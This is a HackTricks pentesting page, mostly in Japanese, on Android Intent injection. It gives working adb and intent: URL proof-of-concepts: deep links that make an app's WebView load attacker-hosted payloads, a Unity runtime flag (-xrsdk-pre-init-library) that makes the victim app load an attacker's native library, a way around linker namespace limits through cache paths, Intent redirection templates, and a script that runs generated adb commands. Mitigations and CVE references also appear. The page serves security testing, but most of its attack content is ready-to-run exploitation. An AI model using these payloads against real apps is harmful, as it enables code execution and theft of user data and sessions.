Intent Injection
Reading time: 17 minutes
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Intent injection は、攻撃者が制御する Intent や後で Intent に変換されるデータを受け入れるコンポーネントを悪用します。Android アプリの pentests で非常に一般的なパターンは次の2つです:
- 細工した extras を exported Activities/Services/BroadcastReceivers に渡し、それらが後で特権を持つ non-exported コンポーネントへ転送される。
- exported VIEW/BROWSABLE deep links をトリガーして、攻撃者が制御する URL を内部 WebViews や他の機密性の高いシンクに転送させる。
Deep links → WebView sink (URL parameter injection)
アプリが次のようなカスタムスキームの deep link を公開している場合:
myscheme://com.example.app/web?url=<attacker_url>
受信側の Activity が url クエリパラメータを WebView に転送する場合、アプリに任意のリモートコンテンツを自身の WebView コンテキスト内でレンダリングさせることができます。
PoC via adb:
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
影響
- HTML/JSはアプリのWebViewプロファイル内で実行される。
- JavaScriptが有効になっている場合(デフォルトまたはチェックの誤順序により)、公開された
@JavascriptInterfaceオブジェクトを列挙/利用でき、WebView cookies/local storageを窃取し、pivotできる。
参照:
チェック順序のバグでJavaScriptが有効化される
再発するバグの一つに、最終的なURLのallowlist/検証が完了する前にJavaScript(または他の緩和的なWebView設定)を有効化してしまうものがある。早期のヘルパーがあなたのdeep linkを受け入れ、先にWebViewが構成されると、後続のチェックが不十分または遅すぎても、最終ロードは既にJavaScriptが有効な状態で行われる。
デコンパイルされたコードで確認すべき点:
- URLを異なる方法でparse/split/rebuildする複数のヘルパー(正規化が一貫していない)。
- 最終的なホスト/パスのallowlistチェックの前に
getSettings().setJavaScriptEnabled(true)が呼ばれている。 - 典型的な処理パイプライン: parse → partial validate → configure WebView → final verify → loadUrl.
緩和策
- 一度だけ正規化して厳密に検証する。失敗時は閉じる(fail closed)。
- すべてのチェックが合格した後、信頼できるコンテンツをロードする直前にのみJavaScriptを有効にする。
- 信頼できないオリジンにブリッジを露出しない。
Unityランタイム: Intent-to-CLI extras → pre-init native library injection (RCE)
UnityベースのAndroidアプリは通常、com.unity3d.player.UnityPlayerActivity(またはUnityPlayerGameActivity)をエントリーActivityとして使用する。UnityのAndroidテンプレートは、unityという名前の特別なIntent extraをUnityランタイム向けのコマンドラインフラグの文字列として扱う。エントリーActivityがexportedされている場合(多くのテンプレートでデフォルト)、任意のローカルアプリや、場合によってはBROWSABLEがあるウェブサイトがこのextraを渡せる。
危険で文書化されていないフラグが、プロセス初期化の非常に早い段階でネイティブコード実行を引き起こす:
- 隠しフラグ:
-xrsdk-pre-init-library <absolute-path> - 効果: 初期化の非常に早い段階で
dlopen(<absolute-path>, RTLD_NOW)が実行され、攻撃者が制御するELFがターゲットアプリのプロセス内で、そのUIDと権限でロードされる。
リバースエンジニアリング抜粋(簡略化):
// lookup the arg value
initLibPath = FUN_00272540(uVar5, "xrsdk-pre-init-library");
// load arbitrary native library early
lVar2 = dlopen(initLibPath, 2); // RTLD_NOW
なぜ動作するのか
- Intent の extra
unityは Unity のランタイムフラグとして解析される。 - pre-init フラグを指定すると、Unity は許可された linker namespace パス内の攻撃者制御下の ELF パスを参照するようになる(制約は下記参照)。
悪用の条件
- Unity のエントリ Activity が exported されている(通常デフォルトで true)。
- ブラウザ経由のワンクリックリモートの場合:エントリ Activity が
android.intent.category.BROWSABLEを宣言しており、intent:URL から extras を渡せる。
ローカルでの悪用(同一デバイス)
- ペイロード ELF を被害者アプリから読み取り可能なパスに配置する。最も簡単なのは、自分の攻撃者アプリに悪意のあるライブラリを同梱し、攻撃者の manifest に設定して
/data/app/.../lib/<abi>/以下に展開されるようにすること:
<application android:extractNativeLibs="true" ...>
- 被害者の Unity activity を
unityextra の CLI pre-init フラグ付きで起動する。例(ADB PoC):
adb shell am start \
-n com.victim.pkg/com.unity3d.player.UnityPlayerActivity \
-e unity "-xrsdk-pre-init-library /data/app/~~ATTACKER_PKG==/lib/arm64/libpayload.so"
- Unity calls
dlopen("/data/.../libpayload.so", RTLD_NOW); your payload runs in the victim process, inheriting all its app permissions (camera/mic/network/storage, etc.) and access to in-app sessions/data.
Notes
- 正確な
/data/app/...パスはデバイスやインストールごとに異なります。攻撃者アプリは実行時にgetApplicationInfo().nativeLibraryDirで自身の native lib ディレクトリを取得し、それをトリガに伝達できます。 - ファイルは
.soで終わる必要はなく、有効な ELF であればよい —dlopen()は拡張子ではなく ELF ヘッダを参照します。
Remote one‑click via browser (conditional)
If the Unity entry activity is exported with BROWSABLE, a website can pass extras via an intent: URL:
intent:#Intent;package=com.example.unitygame;scheme=whatever;\
S.unity=-xrsdk-pre-init-library%20/data/local/tmp/malicious.so;end;
しかし、最新の Android では dynamic linker namespaces と SELinux によって、多くの公開パス(例: /sdcard/Download)からの読み込みがブロックされます。次のようなエラーが表示されます:
library "/sdcard/Download/libtest.so" ("/storage/emulated/0/Download/libtest.so") needed
or dlopened by "/data/app/.../lib/arm64/libunity.so" is not accessible for the
namespace: [name="clns-...", ... permitted_paths="/data:/mnt/expand:/data/data/com.example.unitygame"]
Bypass strategy: 攻撃者が制御するバイト列をアプリのプライベートストレージ(例: HTTP キャッシュ)下にキャッシュするアプリを狙う。許可されたパスに /data とアプリのプライベートディレクトリが含まれるため、-xrsdk-pre-init-library をアプリのキャッシュ内の絶対パスに向けることで linker の制約を満たし、コード実行を引き起こす可能性がある。これは他の Android apps で観測された cache-to-ELF RCE パターンと類似する挙動を示す。
Other classic Intent injection primitives
- startActivity/sendBroadcast を使い、攻撃者提供の
Intentextras を後で再解析(Intent.parseUri(...))して実行するもの。 - Exported proxy components が permission チェックなしで Intents を non-exported な機密コンポーネントに転送するもの。
Automating exported-component testing (Smali-driven ADB generation)
exported コンポーネントが特定の extras を期待する場合、ペイロード形状を推測するのは時間の無駄で偽陰性を招く。Smali から直接キーや型を自動検出し、実行可能な adb コマンドを出力することで自動化できる。
Tool: APK Components Inspector
- Repo: https://github.com/thecybersandeep/apk-components-inspector
- Approach: Smali を decompile して
getStringExtra("key")、getIntExtra("id", ...)、getParcelableExtra("redirect_intent")、getSerializableExtra(...)、getBooleanExtra(...)、getAction()、getData()のような呼び出しをスキャンし、各コンポーネントがどの extras とフィールドを消費しているかを推測する。 - Output: 各 exported Activity/Service/Receiver/Provider ごとに、ツールは短い説明と正しく型指定されたフラグを含む正確な
adb shell am .../cmd content ...コマンドを出力する。
インストール
git clone https://github.com/thecybersandeep/apk-components-inspector
cd apk-components-inspector
python3 -m venv venv && source venv/bin/activate
pip install androguard==3.3.5 rich
使用方法
python apk-components-inspector.py target.apk
出力例
adb shell am start -n com.target/.ExportedActivity --es url https://example.tld
adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true
adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end"
adb shell cmd content query --uri content://com.target.provider/items
ADB am extras チートシート(型を意識したフラグ)
- 文字列:
--es key value| 文字列配列:--esa key v1,v2 - 整数:
--ei key 123| 整数配列:--eia key 1,2,3 - ブール:
--ez key true|false - Long(長整数):
--el key 1234567890 - 浮動小数点数:
--ef key 1.23 - URI(extra):
--eu key content://...| データURI(Intentデータ):-d content://... - コンポーネントの extra:
--ecn key com.pkg/.Cls - ヌル文字列の extra:
--esn key - 共通フラグ:
-a <ACTION>-c <CATEGORY>-t <MIME>-f <FLAGS>--activity-clear-task --activity-new-task
Providers向けプロのコツ
- agentsなしで ContentProviders にアクセスするには、
adb shell cmd content query|insert|update|delete ...を使用する。 - SQLi のプローブでは、基盤の provider が SQLite バックエンドの場合、
--projectionと--where(別名 selection)を変えて試す。
フルパイプライン自動化(インタラクティブ実行環境)
# generate and capture commands then execute them one by one interactively
python apk-components-inspector.py app.apk | tee adbcommands.txt
python run_adb_commands.py
ヘルパースクリプト(継続行を結合し、adbで始まる行のみを実行します):
import subprocess
def parse_adb_commands(file_path):
with open(file_path, 'r') as file:
lines = file.readlines()
commands = []
current = []
for line in lines:
s = line.strip()
if s.startswith("adb "):
current = [s]
elif s.startswith("#") or not s:
if current:
full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
commands.append(full)
current = []
elif current:
current.append(s)
if current:
full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
commands.append(full)
return commands
for i, cmd in enumerate(parse_adb_commands('adbcommands.txt'), 1):
print(f"\nCommand {i}: {cmd}")
input("Press Enter to execute this command...")
try:
r = subprocess.run(cmd, shell=True, check=True, text=True, capture_output=True)
print("Output:\n", r.stdout)
if r.stderr:
print("Errors:\n", r.stderr)
except subprocess.CalledProcessError as e:
print(f"Command failed with error:\n{e.stderr}")
デバイス上で実行: インスペクタはPythonベースで、Termuxまたはrooted phonesでapktool/androguardが利用可能な環境で動作します。
Intent Redirection (CWE-926) – 発見と悪用
Pattern
- エクスポートされたエントリポイント (Activity/Service/Receiver) が受信した Intent を読み取り、ソース/データを検証せずに内部または外部へ転送する、例:
startActivity(getIntent())startActivity(intent)—intentがredirect_intent/next_intent/pending_intentのような extra から来ている場合、またはIntent.parseUri(...)。- チェックなしで
action/data/componentフィールドを信頼する;呼び出し元の識別を検証していない。
What to search in Smali/Java
- Uses of
getParcelableExtra("redirect_intent"),getParcelable("intent"),getIntent().getParcelableExtra(...). - Direct
startActivity(...),startService(...),sendBroadcast(...)on attacker-influenced Intents. - Lack of
getCallingPackage()/getCallingActivity()checks or custom permission gates.
ADB PoC templates
- Proxy Activity が extra Intent を権限のある内部 Activity に転送する:
adb shell am start -n com.target/.ProxyActivity \
--es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end'
- Exported Service が
redirect_intentparcelable を受け取る:
adb shell am startservice -n com.target/.ExportedService \
--es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end'
- Exported Receiver が検証なしで中継する:
adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \
--es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end'
singleTask スタイルの動作に役立つフラグ
# Ensure a fresh task when testing Activities that check task/intent flags
adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task
実際の事例(影響は様々):
- CVE-2024-26131 (Element Android): exportedフローがWebView manipulation、PIN bypass、login hijackにつながる。
- CVE-2023-44121 (LG ThinQ Service): exported receiver action
com.lge.lms.things.notification.ACTION→ システムレベルの影響。 - CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00): リダイレクション → 任意のファイルアクセス(ユーザー操作あり)。
- CVE-2022-36837 (Samsung Email < 6.1.70.20): implicit Intents leak content.
- CVE-2021-4438 (React Native SMS User Consent).
- CVE-2020-14116 (Xiaomi Mi Browser).
緩和策(開発者チェックリスト)
- 受信したIntentsをそのまま転送しない。許可されたフィールドをサニタイズして再構築する。
- 必要ない限り
android:exported="false"で公開を制限する。公開するコンポーネントには権限や署名で保護を施す。 - 呼び出し元の識別(
getCallingPackage()/getCallingActivity())を検証し、アプリ内の遷移にはexplicit Intentsを強制する。 - 使用前に
actionとdata(scheme/host/path)を両方検証する。信頼できない入力に対してIntent.parseUriを使用しない。
参考資料
- Android – Access to app-protected components
- Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough
- Pwn2Own Ireland 2024 – Samsung S24 attack chain (whitepaper)
- Demonstration video
- Automating Android App Component Testing with New APK Inspector (blog)
- APK Components Inspector – GitHub
- Google guidance on intent redirection
- OVAA vulnerable app
- Exported Service PoC APK
- Ostorlab – 100M installs image app deep dive (component summary example)
- CVE-2024-26131 – NVD
- CVE-2023-44121 – CVE.org
- CVE-2023-30728 – CVE.org
- CVE-2022-36837 – CVE.org
- CVE-2021-4438 – NVD
- CVE-2020-14116 – NVD
- CVE-2025-59489 – Arbitrary Code Execution in Unity Runtime (blog)
- Unity docs – Android custom activity command-line
- Unity Security Sept-2025-01 advisory
- HEXACON talk – Messenger one-click cache-based RCE pattern (slides)
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks